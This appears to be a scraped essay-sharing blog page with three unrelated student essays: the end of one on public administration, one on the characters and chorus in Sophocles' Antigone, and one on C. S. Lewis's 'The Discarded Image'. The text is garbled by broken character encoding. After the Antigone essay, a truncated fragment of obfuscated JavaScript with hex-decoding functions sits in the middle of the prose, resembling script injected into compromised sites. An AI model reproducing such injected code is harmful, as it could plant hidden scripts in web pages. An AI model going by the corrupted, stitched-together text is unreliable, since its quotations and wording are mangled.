public.Sometimes public administrators are so concerned with perception they forget to go back to the basics and think like a person. Being in public administration does not or should not mean a bunch of red tape. It should be about providing a service to the people and making sure the people are given a voice. Sometimes, the easiest solution is human relations and realizing that the answers are always in front of us we just have remember that we are people too and rules and regulations do not make society function.Finally, when having to deal with budget restranits it is not always easy to accomplish the necessary goals. In conclusion, public administration is a very demanding job with high risks but great rewards. When looking at the biggest problems with public administration it is clear that with many problems the most important thing is to always be firm, fair, and consistent. By adhering to these rules it allows for a pe rson serving the people to always remain accountable and not to stress if they made the right decision.

Sunday, September 15, 2019

Explain the purpose of the main characters, minor characters and the chorus in Antigone. (30 marks) Essay

All characters which feature in Sophocles’ play Antigone play an important role somehow; mainly conveying a certain moral or theme. The major characters portray the main themes such as loyalty, whilst some of the minor characters and the chorus explore the theme of prophecy and fate. Antigone is one of/the main character in the play named after herself. However it is debatable whether she is the main character due to the fact that the majority of the play revolves around Creon and his actions, and end in him being alone whilst Antigone has died. Throughout the play she defines the loyalty to the Gods rather than civil obedience- and is the only character to do so. Immediately, Antigone is portrayed by Sophocles as a defiant and important character due to the fact that she is located outside the palace, a place where a Greek woman would not be found unescorted by a male presence. An ancient Greek audience would automatically assume that Antigone and her sister Ismene who is also outside with her were poor, prostitutes or slaves, yet we quickly find out she is neither, leaving us with the first impressions that Antigone is willing to defy the rules and does not fit normal woman conventions in the ancient Greek era. The fact that Creon is clearly astounded when he sees Antigone is responsible for the burial of Polynices against his will clearly shows to the reader that it is unusual for the average woman in ancient Greek society to break from the norms and defy the rules, which is supported by the fact that Athenian men believed that the best women were the ones that were heard the least. The quote â€Å"You bring this woman†¦?† (Line 375); which is said to the Sentry after bringing Antigone before Creon; shows that Creon is confused that it is a woman that has had the bravery to go against the laws he had set. Antigone shows her loyalty to the gods when she speaks to Creon and tells him â€Å"I was not going to incur punishment from the gods, not in fear of the will of any man† (Line 423-424) which infers to the reader that she fears the gods much more than she fears any mortal man, and she will abide by the gods’ â€Å"unwritten, unassailable laws† rather than a mere mortals laws which he feels that people should abide by. This shows a clear devotion to the gods as she is giving herself up and admits to the crimes against the state, yet is not taken back by the promise of death as she knows that what she has done is for the gods’ satisfaction. In addition, we see that Antigone is extremely loyal to her family and is willing to sacrifice her life for the good of her brother, as the ancient Greeks believed that if you did not receive the correct burial then you would roam the afterlife forever and never be in peace (it was also seen as very disrespectful towards the dead and the family of the dead). We see this fierce loyalty that Antigone feels towards her family as she tells Ismene; just before she says she wants no part in burying the body; that â€Å"I will not be caught betraying him.† (Line 42) which seems very aggressive, giving the reader an insight onto how much Antigone loves her family and wants her brother to rest in peace and in honour with the dead below. Antigone is not the only character in the play to show a strong trait of loyalty, as Creon also delivers the same emotion, however, rather than being towards family, it is towards state. We see this due to the fact that Antigone is his own niece and Polynices his own nephew, yet he is willing to dishonour Polynices by not giving him a burial ritual and leaving his corpse â€Å"for the birds and dogs to eat† (Line 191-192), and is willing to kill Antigone for disobeying the law. Creon is also considered the most important character in Sophocles’ Antigone, mainly due to the fact that the gods retribution is directed upon him, meaning that he is left alone as his family are all dead, showing his importance as the play revolves around him in the end. Similarly to Antigone, Creon is shown as disobedient, yet to the gods and not the law. This is shown when Haemon, Creons son, tells him â€Å"You do not respect it when you trample on the gods’ honour† (line 691) which connotes the disobedience as he refuses to respect the gods by burying Polynices, keeping the body for himself. Creon is seen to change as although he is viewed as a tyrannical leader, wanting all power from himself, he is seen to fall before the Chorus, represented by the chorus on line 1060, when he begs the Chorus â€Å"So what must i do? Tell me! I will obey.†, showing he now is willing to listen to the people, although we know it is too late for things to change for Creon. Creons son, Haemon, changes much like his father, firstly agreeing with Creon and siding with him on not burying Polynices, yet begins to change his views and eventually rallies with the people who desire the burial of Antigones brother. The messenger tells Eurydice â€Å"Corpse lies embracing corpse. The poor man had won his rites of marriage in the house of Hades.† (line 1189) which shows his link to Antigone, as it is evident that he loves his family (or future family) very much, as he is so mortified that he has lost his future wife that he takes his own life to be with her in the afterlife, and dies clinging onto her body, showing the fact that he wanted to be with her forever. Teiresias is also seen as extremely loyal to the Gods, much like Antigone as he openly insults the king when he tells Creon â€Å"For this the Destroyers who wait their time lie in wait for you, the Furies of Hades and of the gods, so that you will be seized by these same disasters.† telling him that he will face a painful death and afterlife, sparing no detail in order to portray the gods wrath. The blind prophet is also the main character to portray the theme of prophecy. An example of this is when he tells Creon â€Å"two seeing through the eyes of one; this is how the blind must go, with a guide† which clearly shows the prophets abilities as it shows that he is in deep contact with the gods and although he is rendered blind he can see far into the future with the help of the gods. Another example of this is when Teiresias tells Creon â€Å"I will tell you, and you must obey the seer† which shows the wisdom of the prophet and he tells Creon what he must do to be happy. Power is also shown be Teiresias as Creon tells him that â€Å"I am your target, and not immune even from you prophetic art.† which shows he understands that he is more powerful than him and he gives the correct advice and can predict the future well. â€Å"before you give one born off your loins as a corpse in exchange for corpses† is what he tells Creon, which shows prophetic values as Teiresias knows what is going to happen to Haemon before it happens, and he also knows that Antigones death is inevitable. The Chorus in Sophocles’ Antigone also portray the theme of prophecy as they guide the audience by portraying their feelings and give hints to the audience on what will happen further on in the play. An example of this is when the Chorus says that Creon is a â€Å"breathing corpse† which is true, as at the end of the play Creon is left alone, in much emotional strain so he could be said to be a walking corpse, also due to the fact that he wishes himself dead. The chorus also tell Creon â€Å"Lord, all this time my thoughts have been saying that this might be the work of the Gods.† which has a double meaning, which could be interpreted literally to show that the people believe that the gods are responsible for the burial of Polynices due to the fact that no footprints are found. Alternatively, this could been seen as the Chorus foreshadowing the involvement of the gods and will have a play, which is obviously the death of all Creons family. Finally, the Chorus foreshadow the death of Creons family, yet the preservation of his own life in the quote â€Å"Zeus, what human transgression can restrain your power? All-conquering sleep cannot master it† which shows that he will not defeat the gods, and will be kept alive after all of his family are gone as a punishment for attempting to defy the gods and not burying the body. Overall, I believe that both the main and minor characters are very important in the development of themes and morals in the play as they show right and wrong, and the consequences that you may face if you disobey the gods, yet also clearly show the consequences of disobeying the law. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=†Ã¢â‚¬ ,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return ""},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Saturday, September 14, 2019

The Discarded Image

The Discarded Image (Rewrite) â€Å"The Discarded Image: An Introduction to Medieval and Renaissance Literature† by C. S. Lewis is not just an introduction of the Medieval and Renaissance period, as the subtitle suggests, but rather an overview of the cultural background of that time period. C. S. Lewis describes â€Å"the model† or â€Å"the image† of the universe as it was thought to be during the Renaissance and the Middle Ages. Their way of thinking was completely different from ours in our â€Å"Modern World† point of view. Their perception of the Universe was a â€Å"single, complex, harmonious mental model† (Lewis), unlike our scientific discoveries and newly formulated theories bout the universe. Instead of theories, they believed in these principles or ideas that explained their way of viewing things. Hierarchy, ordered scale in which everything is connected but has a certain order, and Body and Soul, the idea that everything has a soul and there are three different kinds of souls, are two of these principles. Hierarchy explains the order in which everything is or should be, as well as how everything is co-related. During the middle ages, it was thought that â€Å"everything has its right place, its home, the region that suits it† (Lewis, 92). The people of medieval and Renaissance period came up with the order of the universe, â€Å"Earth, moon, Mercury, Venus, Sun, Mars, Jupiter, and Saturn†. They thought that everything revolved around the Earth; they believed that the Earth was the center of the universe, and they believed that everything was pulled towards the Earth. The â€Å"force† responsible for this attraction was the Primium Mobile or the First moveable, â€Å"everything proceeds from Him (God)† (Brand), â€Å"its existence was inferred to account for the motion of all others† (Lewis, 96). Since everything has its purpose and space, it also has its own different soul. For example, because the different things or bodies have a different place and purpose they have different souls: â€Å"Man is a rational animal†¦Rational soul, which gives man his peculiar position, is not the only kind of soul† (Lewis, 152-153). Plants have a Vegetable soul, its main purpose is to grow and spread out. Animals, not human, have a sensitive soul: has the same â€Å"powers† as the Vegetable soul but has sentience in addition. nevertheless these three, Rational, Sensitive, and Vegetable souls, portrayed the synthesis between science, imagination, and theology that was very important in the Medieval and Renaissance period: â€Å"the real of science was the real of imaginations which was the real of religion, etc. † (Brand) C. S. Lewis in his book â€Å"The Discarded Image: An Introduction to Medieval and Renaissance Literature† points out the way the universe was viewed in the middle ages. Lewis explains all the ideas and principles that made up the middle ages so different from our Modern World. During the Middle ages Hierarchy was very important; everything has its place and purpose but at the same time it was believed that everything was a unit. The idea of Body and Soul was just as important; since everything has its own purpose it must have its own soul.